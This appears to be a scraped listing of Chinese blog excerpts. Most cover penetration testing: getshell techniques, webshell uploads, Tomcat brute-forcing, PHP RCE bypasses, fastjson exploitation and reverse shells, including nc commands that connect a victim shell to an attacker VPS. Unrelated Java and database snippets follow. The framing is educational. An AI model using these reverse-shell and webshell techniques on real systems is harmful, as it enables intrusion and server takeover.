- HBase详细安装指南
嘎嘎嘎啊哈
hadoophbasebigdata
目录前言一、HBASE是什么?二、HBASE安装1.安装准备2.安装三.基本使用1.hbaseshell总结前言随着大数据时代的来临,mysql已经无法满足人们的需要,海量数据存储到达了瓶颈,hbase应运而生。提示:以下是本篇文章正文内容,下面案例可供参考一、HBASE是什么?HBase–HadoopDatabase,是一个高可靠性、高性能、面向列、可伸缩的分布式存储系统,利用HBase技术可在
- getshell思路
活着Viva
渗透小知识安全web安全php
getshell能干嘛文件上传getshell文件包含getshellsql注入getshell操作系统漏洞getshellRCEgetshell总结授人以鱼,不如授人以渔getshell能干嘛1.执行终端命令2.文件管理(增删改查)3.数据库管理(增删改查,前提找到root用户密码)文件上传getshell网站有上传点,最容易getshell。直接上传一个一句话木马,然后使用webshell管理
- Getshell总结
嘎闻旺
文章转发于:https://choge.top/2020/02/23/Getshell%E6%80%BB%E7%BB%93/Getshell分为进管理员后台Getshell和不进后台Getshell,本文主要总结常见进后台Getshell和部分。进后台Getshell管理员后台直接Getshell管理员后台直接上传Getshell,有时候带密码的Webshell连接时容易被waf拦截,可以上传不加
- 春秋云境靶场CVE-2022-25578漏洞复现(利用htaccess文件进行任意文件上传)
无名小卒且不会安全的zzyyhh
web安全文件上传漏洞
文章目录前言一、CVE-2022-25578靶场概述二、CVE-2022-25578复现需要知道的知识点1、什么是htaccess文件2、上传htaccess文件的条件是什么?3、htaccess文件的作用是什么?三、CVE-2022-32991漏洞复现1、信息收集2、找上传点3、上传后蚁剑连接getshell总结前言此文章只用于学习和反思巩固文件上传漏洞知识,禁止用于做非法攻击。注意靶场是可以练
- 如何在Tomcat后台通过文件上传getshell总结(个人学习笔记思路)
Drecrewice
渗透测试tomcatweb安全
本文仅仅用于学习笔记关于渗透测试以及交流经验,请读者遵循《中华人民共和国网络安全法》,本文造成的任何违法行为与本文作者无关。1.用空间测绘或者通过Nmap,goby扫描完成资产搜集之后,发现存在tomcat后门发现可能存在通过tomcat后门上传木马获取服务器权限的漏洞URL栏原地址后输入/manager/html弹出用户名密码登录界面默认用户名和密码都为tomcat2.准备爆破密码(默认密码to
- 反弹shell总结
拓海AE
反弹shellweb安全
反弹shell在介绍反弹链接的时候先说明什么是正向链接:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。而反弹shell是指攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。本质上是网络概念的客户端与服务端的角色反转。反
- [笔记]深入解析Windows操作系统《番外》windows关键进程解释
二进制怪兽
windows读书笔记windows
文章目录前言一、Linux起源与发展二、什么是shell1.什么是Shell总结前言一、Linux起源与发展二、什么是shell1.什么是Shell总结以上就是今天要讲的内容,本文仅仅简单介绍了linux命令行的使用。参考:shells概念centOS7中的几个Ctrl+组合键关于博主wx/qq:binary-monster/1113673178wxgzh:二进制怪兽CSDN:https://bl
- 获取webshell的十种方法
weixin_30677475
黑客在入侵企业网站时,通常要通过各种方式获取webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。本篇文章将如何获取webshell总结成为了十种方法,希望广大的企业网络管理员能够通过了解获取webshell的途径,对企业自身进行防范。一、通过上传文件类型过滤漏洞获取webshell由于未采用白名单过滤文件类型,导致asa,cer,等文件类型,未进行限制,asa,cer类型文件的映
- sqlmap拿shell
goddemon
bash开发语言
sqlmap5种思路拿shell总结①利用dump管理员类的账户后进入进行站点后拿shell或者拿到账户后远程连接进行连接进行udf类提取类拿shell#连接方法sqlmap-d“mysql://admin:
[email protected]:3306/security”admin是账号,psw是密码,后面是地址和端口,security数据库。我们数据库可以用current-db来查看②利用
- 深大操作系统实验一:并发程序设计
AkagiSenpai
操作系统堆栈linux操作系统进程线程
目录前言预备部分操作部分1.使用fork创建进程1A.创建10个子进程。1B.10层子进程嵌套1C.树形创建2.僵尸与孤儿进程2A.孤儿进程2B.僵尸进程3.线程与线程堆栈4.进程线程开销比较5.自定义shell总结前言第一个实验就把我干碎了!好大的压力呀。操作系统像一座大山,压在我的狗脑子上,一点气都喘不过来。在无数次的摆烂,抄代码,百度之后,我最终还是挺过来了,并且踉跄地把实验写完。我踩了无数
- PHP-RCE绕过的姿势总结
4v1d
webphp开发语言后端
文章目录前言一、命令执行空格过滤取反绕过命令分隔符黑名单绕过(比如flag字符)拼接编码单双引号的绕过二、代码执行linux中的直接查看文件内容工具通过命令行写入webshell无数字字母绕过webshell无回显RCE⽆字⺟数字shell总结参考文章前言做了很多的题目,静下心来学习大佬做点小总结一、命令执行空格过滤、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS等取
- VulnHub-driftingblues:9
江左盟宗主
VulnHub靶机VulnHubdriftingblues9渗透测试实例
目录简介信息收集漏洞发现与利用权限提升clapton用户Shell缓冲区溢出root用户Shell总结简介靶机地址:http://www.vulnhub.com/entry/driftingblues-9-final,695/该靶机总的来说和作者描述的一样,是简单类型的,据说和OSCP的类似。通过搜索ApPHPMicroBlog漏洞发现远程代码执行漏洞,利用该漏洞获取网站权限,通过数据库连接文件获
- 反弹shell总结
坦笑&&life
公开网络安全网络安全web安全安全运维linux服务器
反弹shell总结讲在前面说的话:反弹shell总结nc反弹shell正向shell反向shell正向shell(服务端被攻击):反向shell(客户端被攻击):无nc反弹shellpython反弹shellbash反弹shellPHP反向shellPerl反向shellJava反弹shellsocat反弹shellRuby反弹shellLua反弹shellAwk反弹shellexec反弹shel
- 【Linux】—— 进程程序替换
起飞的风筝
Linuxlinux运维服务器
目录序言(一)替换原理1、进程角度——见见猪跑1️⃣认识execl函数2、程序角度——看图理解(二)替换函数1、命名理解2、函数理解1️⃣execlp2️⃣execv3️⃣execvp4️⃣execle5️⃣execve6️⃣execve(三)自制shell总结序言在前面的文章中,我已经详细的讲解了进程的创建。但是大家是否知道创建子进程的目的是什么呢?其实很简单,无非就是让子进程帮我(父进程)执行
- Linux中profile、bashrc、bash_profile之间的区别和联系
来瓶小白干Oo
学习linuxshell
文章目录前言一、基本操作二、Linux中profile、bashrc、bash_profile之间的区别和联系```~/.bash_profile、~/.bashrc、和~/.bash_login```登录交互式Shell、非登录交互式Shell、登录非交互式Shell、非登录非交互式Shell交互式Shell:登录Shell总结前言之前一直不理解Linux下profile、bashrc、bash
- 【CTFHUB-WriteUp】pwn技能树-栈溢出-Ret2VDSO
暮诚Mucream
WriteUpCTFPWNpythonc++
目录程序分析保护检查IDA静态分析伪代码分析汇编代码分析GDB调试分析分析总结漏洞利用及原理可利用漏洞1.栈溢出利用利用思路利用原理2.srand(seed)的不安全引用利用思路利用原理Exploit1.使用栈溢出漏洞GetShell2.使用不安全的seed引用Getshell总结笔记程序分析保护检查Arch:amd64-64-littleRELRO:PartialRELROStack:Nocan
- shell总结
101之歌
刚学shell,然后用shell写了一个测试语句,发现对格式要求还是很高的,比如,如果你要比较两个值,a和b,如果你这么写,肯定会报错:[$a==$b]因此你必须在中间加空格:[$a==$b]可怕不?下面是我自己写的一个测试脚本:#!/bin/basha=10b=12if[$a==$b]thenecho"fuck"elseecho"fuck2"fi还有,如果要定义一个变量:a="1"b="2"这样
- MySQL之容灾方案解读
目录MySQL容灾方案1.主从半同步复制+手动切换2.主从半同步复制+keepalived自动切换MySQL异地备份策略容灾脚本--shell总结MySQL容灾方案容灾方案目前有以下三种容灾方案可供参考:1.主从半同步复制+手动切换方案介绍:由两台服务器上的数据库实例搭建主从架构,两个实例之间的数据同步使用MySQL半同步复制机制。主机绑定VIP,在主库故障后手动将VIP绑定至备机,将上层请求切换
- 冯诺依曼体系结构与操作系统
小熊coder
操作系统-计算机基础服务器网络linux
文章目录详解冯诺依曼体系结构与操作系统前言1.简要背景介绍2.五大部件介绍3.细节解释4.举例理解冯诺依曼机中数据走向二、全面认识操作系统1.操作系统的概念2.计算机系统比对银行系统3.深入认识“管理”:5.操作系统存在的目的6.操作系统与Shell总结冯诺依曼体系结构及操作系统的认识1.前言2.冯诺依曼体系结构2.1.结构构成2.2.硬件分析2.2.1存储器的作用2.2.2CPU2.3.实际分析
- Shell总结
serpmelon
学习的初衷在服务器上搞些事情,我意思是查日志~执行helloworld程序vimhi.sh#!/bin/bashecho"hollwworld"chmod+xhi.sh./hi.sh变量常用数据类型字符串数组如何声明变量#注意不能有空格param=strparam='str'#双引号中可以使用变量param="str"#使用变量加$或者${}echo$paramecho${param}字符串api
- 【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程
Cgxx
JAVA安全javaweb安全
文章目录前言漏洞环境搭建漏洞利用复现处理json时发生反序列化JNDI注入反弹shell总结前言Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调
- 内网渗透:nc反弹shell总结
小诗不识月、
内网渗透bash渗透测试安全
1、实验环境Kali:192.168.32.132//模拟靶机Windows:192.168.32.1//模拟公网vps2、若靶机上存在nc,获取反向shell:vps攻击机:nc-lvp9999//监听9999端口靶机:nc1.1.1.19999-e/bin/bash//Linux正向连接公网vps1.1.1.1的9999端口nc1.1.1.19999-ec:\windows\system32\
- 渗透测试-Linux反弹shell
炫彩@之星
渗透测试安全性测试web安全安全linux
Linux反弹shell文章目录Linux反弹shell前言一、什么是反弹shell二、Linux反弹shell的几种方法1.bash反弹shell反弹shell2.常用的反弹shell命令3.基于编程语言的反弹shell4.加密反弹shell总结前言哥哥姐姐们,这期我们简单介绍一下Linux反弹shell的几种方法。一、什么是反弹shellshell是渗透中常用的名词,像getshell,web
- 进程控制(Linux)
雨轩(爵丶迹)
Linuxlinux服务器后端bash
进程控制进程创建fork函数fork函数返回值写时拷贝fork常规用法fork调用失败的原因进程终止进程退出情况进程等待进程等待的必要性进程等待的方法获取子进程status1、wait2、waitpid方法进程替换替换原理替换函数函数解释总结我们可以综合前面的知识,做一个简易的shell总结进程创建进程创建有两种方式:1、命令行启动(程序、指令等)2、通过程序自身,fork创建子进程fork函数它
- day 49 hbase 安装
韭菜盒子123
hbase
文章目录一、HBase1、Master2、RegionServer3、Region二、hbase安装hbase重置三、hbaseshell总结Iknow,iknow地球另一端有你陪我一、HBaseHBase–HadoopDatabase是一个高可靠性、高性能、面向列、可伸缩、实时读写的分布式数据库利用HadoopHDFS作为其文件存储系统利用HadoopMapReduce来处理HBase中的海量数
- Getshell总结
大猪蹄汁骨头汤
web安全网络安全
按方式分类:0x01注入getshell:0x02上传getwebshell0x03RCEgetshell0x04包含getwebshell0x05漏洞组合拳getshell0x06系统层getcmdshell0x07钓鱼getcmdshell0x08cms后台getshell0x09红队shell竞争分析0x01注入getshell:一般前提条件:有权限、知道路径MySQLselect0x3c3
- 详解冯诺依曼体系结构与操作系统
LumosJ
冯诺依曼结构操作系统linuxshell
计算机体系结构本文主要从两个方面来详细介绍计算机体系结构:1.冯诺依曼体系结构(硬件)2.操作系统(软件)文章目录计算机体系结构前言一、深入理解冯诺依曼体系结构1.简要背景介绍2.五大部件介绍3.细节解释4.举例理解冯诺依曼机中数据走向二、全面认识操作系统1.操作系统的概念2.计算机系统比对银行系统3.深入认识“管理”:4.库函数和系统调用接口5.操作系统存在的目的6.操作系统与Shell总结前言
- phpmyadmin上传Webshell总结
a阿飞
网络安全
目录1.select查询输出webshell(1)创建表并INTOOUTFILE写入一句话(2)select...INTOOUTFILE写入一句话
- mysql拿webshell总结
weixin_33795833
1、select''intooutfile'/var/www/jumbo.php';2、select''intodumpfile'/var/www/jumbo.php';3、DropTABLEIFEXISTStemp;CreateTABLEtemp(cmdtextNOTNULL);InsertINTOtemp(cmd)VALUES('');Selectcmdfromtempintooutfile'
- Hack The Box——SneakyMailer
江左盟宗主
渗透测试HackTheBoxSneakyMailerHTB渗透测试实例
目录简介信息收集子域名枚举邮件钓鱼上传WebShell权限提升Developer用户ShellLow用户ShellRoot用户Shell总结简介这是一台很有意思的靶机,比较像真实的环境,没有什么通用的漏洞,只是展现了人们在日常生活中容易犯的错误,靶机作者大概想告诉我们人性的弱点吧。首先通过网页收集到的邮件地址进行邮件钓鱼攻击,然后利用获得的邮箱密码登录邮箱查看邮件,在邮件中发现开发者用户名和密码,
- java类加载顺序
3213213333332132
java
package com.demo;
/**
* @Description 类加载顺序
* @author FuJianyong
* 2015-2-6上午11:21:37
*/
public class ClassLoaderSequence {
String s1 = "成员属性";
static String s2 = "
- Hibernate与mybitas的比较
BlueSkator
sqlHibernate框架ibatisorm
第一章 Hibernate与MyBatis
Hibernate 是当前最流行的O/R mapping框架,它出身于sf.net,现在已经成为Jboss的一部分。 Mybatis 是另外一种优秀的O/R mapping框架。目前属于apache的一个子项目。
MyBatis 参考资料官网:http:
- php多维数组排序以及实际工作中的应用
dcj3sjt126com
PHPusortuasort
自定义排序函数返回false或负数意味着第一个参数应该排在第二个参数的前面, 正数或true反之, 0相等usort不保存键名uasort 键名会保存下来uksort 排序是对键名进行的
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8&q
- DOM改变字体大小
周华华
前端
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml&q
- c3p0的配置
g21121
c3p0
c3p0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。c3p0的下载地址是:http://sourceforge.net/projects/c3p0/这里可以下载到c3p0最新版本。
以在spring中配置dataSource为例:
<!-- spring加载资源文件 -->
<bean name="prope
- Java获取工程路径的几种方法
510888780
java
第一种:
File f = new File(this.getClass().getResource("/").getPath());
System.out.println(f);
结果:
C:\Documents%20and%20Settings\Administrator\workspace\projectName\bin
获取当前类的所在工程路径;
如果不加“
- 在类Unix系统下实现SSH免密码登录服务器
Harry642
免密ssh
1.客户机
(1)执行ssh-keygen -t rsa -C "
[email protected]"生成公钥,xxx为自定义大email地址
(2)执行scp ~/.ssh/id_rsa.pub root@xxxxxxxxx:/tmp将公钥拷贝到服务器上,xxx为服务器地址
(3)执行cat
- Java新手入门的30个基本概念一
aijuans
javajava 入门新手
在我们学习Java的过程中,掌握其中的基本概念对我们的学习无论是J2SE,J2EE,J2ME都是很重要的,J2SE是Java的基础,所以有必要对其中的基本概念做以归纳,以便大家在以后的学习过程中更好的理解java的精髓,在此我总结了30条基本的概念。 Java概述: 目前Java主要应用于中间件的开发(middleware)---处理客户机于服务器之间的通信技术,早期的实践证明,Java不适合
- Memcached for windows 简单介绍
antlove
javaWebwindowscachememcached
1. 安装memcached server
a. 下载memcached-1.2.6-win32-bin.zip
b. 解压缩,dos 窗口切换到 memcached.exe所在目录,运行memcached.exe -d install
c.启动memcached Server,直接在dos窗口键入 net start "memcached Server&quo
- 数据库对象的视图和索引
百合不是茶
索引oeacle数据库视图
视图
视图是从一个表或视图导出的表,也可以是从多个表或视图导出的表。视图是一个虚表,数据库不对视图所对应的数据进行实际存储,只存储视图的定义,对视图的数据进行操作时,只能将字段定义为视图,不能将具体的数据定义为视图
为什么oracle需要视图;
&
- Mockito(一) --入门篇
bijian1013
持续集成mockito单元测试
Mockito是一个针对Java的mocking框架,它与EasyMock和jMock很相似,但是通过在执行后校验什么已经被调用,它消除了对期望 行为(expectations)的需要。其它的mocking库需要你在执行前记录期望行为(expectations),而这导致了丑陋的初始化代码。
&nb
- 精通Oracle10编程SQL(5)SQL函数
bijian1013
oracle数据库plsql
/*
* SQL函数
*/
--数字函数
--ABS(n):返回数字n的绝对值
declare
v_abs number(6,2);
begin
v_abs:=abs(&no);
dbms_output.put_line('绝对值:'||v_abs);
end;
--ACOS(n):返回数字n的反余弦值,输入值的范围是-1~1,输出值的单位为弧度
- 【Log4j一】Log4j总体介绍
bit1129
log4j
Log4j组件:Logger、Appender、Layout
Log4j核心包含三个组件:logger、appender和layout。这三个组件协作提供日志功能:
日志的输出目标
日志的输出格式
日志的输出级别(是否抑制日志的输出)
logger继承特性
A logger is said to be an ancestor of anothe
- Java IO笔记
白糖_
java
public static void main(String[] args) throws IOException {
//输入流
InputStream in = Test.class.getResourceAsStream("/test");
InputStreamReader isr = new InputStreamReader(in);
Bu
- Docker 监控
ronin47
docker监控
目前项目内部署了docker,于是涉及到关于监控的事情,参考一些经典实例以及一些自己的想法,总结一下思路。 1、关于监控的内容 监控宿主机本身
监控宿主机本身还是比较简单的,同其他服务器监控类似,对cpu、network、io、disk等做通用的检查,这里不再细说。
额外的,因为是docker的
- java-顺时针打印图形
bylijinnan
java
一个画图程序 要求打印出:
1.int i=5;
2.1 2 3 4 5
3.16 17 18 19 6
4.15 24 25 20 7
5.14 23 22 21 8
6.13 12 11 10 9
7.
8.int i=6
9.1 2 3 4 5 6
10.20 21 22 23 24 7
11.19
- 关于iReport汉化版强制使用英文的配置方法
Kai_Ge
iReport汉化英文版
对于那些具有强迫症的工程师来说,软件汉化固然好用,但是汉化不完整却极为头疼,本方法针对iReport汉化不完整的情况,强制使用英文版,方法如下:
在 iReport 安装路径下的 etc/ireport.conf 里增加红色部分启动参数,即可变为英文版。
# ${HOME} will be replaced by user home directory accordin
- [并行计算]论宇宙的可计算性
comsci
并行计算
现在我们知道,一个涡旋系统具有并行计算能力.按照自然运动理论,这个系统也同时具有存储能力,同时具备计算和存储能力的系统,在某种条件下一般都会产生意识......
那么,这种概念让我们推论出一个结论
&nb
- 用OpenGL实现无限循环的coverflow
dai_lm
androidcoverflow
网上找了很久,都是用Gallery实现的,效果不是很满意,结果发现这个用OpenGL实现的,稍微修改了一下源码,实现了无限循环功能
源码地址:
https://github.com/jackfengji/glcoverflow
public class CoverFlowOpenGL extends GLSurfaceView implements
GLSurfaceV
- JAVA数据计算的几个解决方案1
datamachine
javaHibernate计算
老大丢过来的软件跑了10天,摸到点门道,正好跟以前攒的私房有关联,整理存档。
-----------------------------华丽的分割线-------------------------------------
数据计算层是指介于数据存储和应用程序之间,负责计算数据存储层的数据,并将计算结果返回应用程序的层次。J
&nbs
- 简单的用户授权系统,利用给user表添加一个字段标识管理员的方式
dcj3sjt126com
yii
怎么创建一个简单的(非 RBAC)用户授权系统
通过查看论坛,我发现这是一个常见的问题,所以我决定写这篇文章。
本文只包括授权系统.假设你已经知道怎么创建身份验证系统(登录)。 数据库
首先在 user 表创建一个新的字段(integer 类型),字段名 'accessLevel',它定义了用户的访问权限 扩展 CWebUser 类
在配置文件(一般为 protecte
- 未选之路
dcj3sjt126com
诗
作者:罗伯特*费罗斯特
黄色的树林里分出两条路,
可惜我不能同时去涉足,
我在那路口久久伫立,
我向着一条路极目望去,
直到它消失在丛林深处.
但我却选了另外一条路,
它荒草萋萋,十分幽寂;
显得更诱人,更美丽,
虽然在这两条小路上,
都很少留下旅人的足迹.
那天清晨落叶满地,
两条路都未见脚印痕迹.
呵,留下一条路等改日再
- Java处理15位身份证变18位
蕃薯耀
18位身份证变15位15位身份证变18位身份证转换
15位身份证变18位,18位身份证变15位
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
蕃薯耀 201
- SpringMVC4零配置--应用上下文配置【AppConfig】
hanqunfeng
springmvc4
从spring3.0开始,Spring将JavaConfig整合到核心模块,普通的POJO只需要标注@Configuration注解,就可以成为spring配置类,并通过在方法上标注@Bean注解的方式注入bean。
Xml配置和Java类配置对比如下:
applicationContext-AppConfig.xml
<!-- 激活自动代理功能 参看:
- Android中webview跟JAVASCRIPT中的交互
jackyrong
JavaScripthtmlandroid脚本
在android的应用程序中,可以直接调用webview中的javascript代码,而webview中的javascript代码,也可以去调用ANDROID应用程序(也就是JAVA部分的代码).下面举例说明之:
1 JAVASCRIPT脚本调用android程序
要在webview中,调用addJavascriptInterface(OBJ,int
- 8个最佳Web开发资源推荐
lampcy
编程Web程序员
Web开发对程序员来说是一项较为复杂的工作,程序员需要快速地满足用户需求。如今很多的在线资源可以给程序员提供帮助,比如指导手册、在线课程和一些参考资料,而且这些资源基本都是免费和适合初学者的。无论你是需要选择一门新的编程语言,或是了解最新的标准,还是需要从其他地方找到一些灵感,我们这里为你整理了一些很好的Web开发资源,帮助你更成功地进行Web开发。
这里列出10个最佳Web开发资源,它们都是受
- 架构师之面试------jdk的hashMap实现
nannan408
HashMap
1.前言。
如题。
2.详述。
(1)hashMap算法就是数组链表。数组存放的元素是键值对。jdk通过移位算法(其实也就是简单的加乘算法),如下代码来生成数组下标(生成后indexFor一下就成下标了)。
static int hash(int h)
{
h ^= (h >>> 20) ^ (h >>>
- html禁止清除input文本输入缓存
Rainbow702
html缓存input输入框change
多数浏览器默认会缓存input的值,只有使用ctl+F5强制刷新的才可以清除缓存记录。
如果不想让浏览器缓存input的值,有2种方法:
方法一: 在不想使用缓存的input中添加 autocomplete="off";
<input type="text" autocomplete="off" n
- POJO和JavaBean的区别和联系
tjmljw
POJOjava beans
POJO 和JavaBean是我们常见的两个关键字,一般容易混淆,POJO全称是Plain Ordinary Java Object / Pure Old Java Object,中文可以翻译成:普通Java类,具有一部分getter/setter方法的那种类就可以称作POJO,但是JavaBean则比 POJO复杂很多, Java Bean 是可复用的组件,对 Java Bean 并没有严格的规
- java中单例的五种写法
liuxiaoling
java单例
/**
* 单例模式的五种写法:
* 1、懒汉
* 2、恶汉
* 3、静态内部类
* 4、枚举
* 5、双重校验锁
*/
/**
* 五、 双重校验锁,在当前的内存模型中无效
*/
class LockSingleton
{
private volatile static LockSingleton singleton;
pri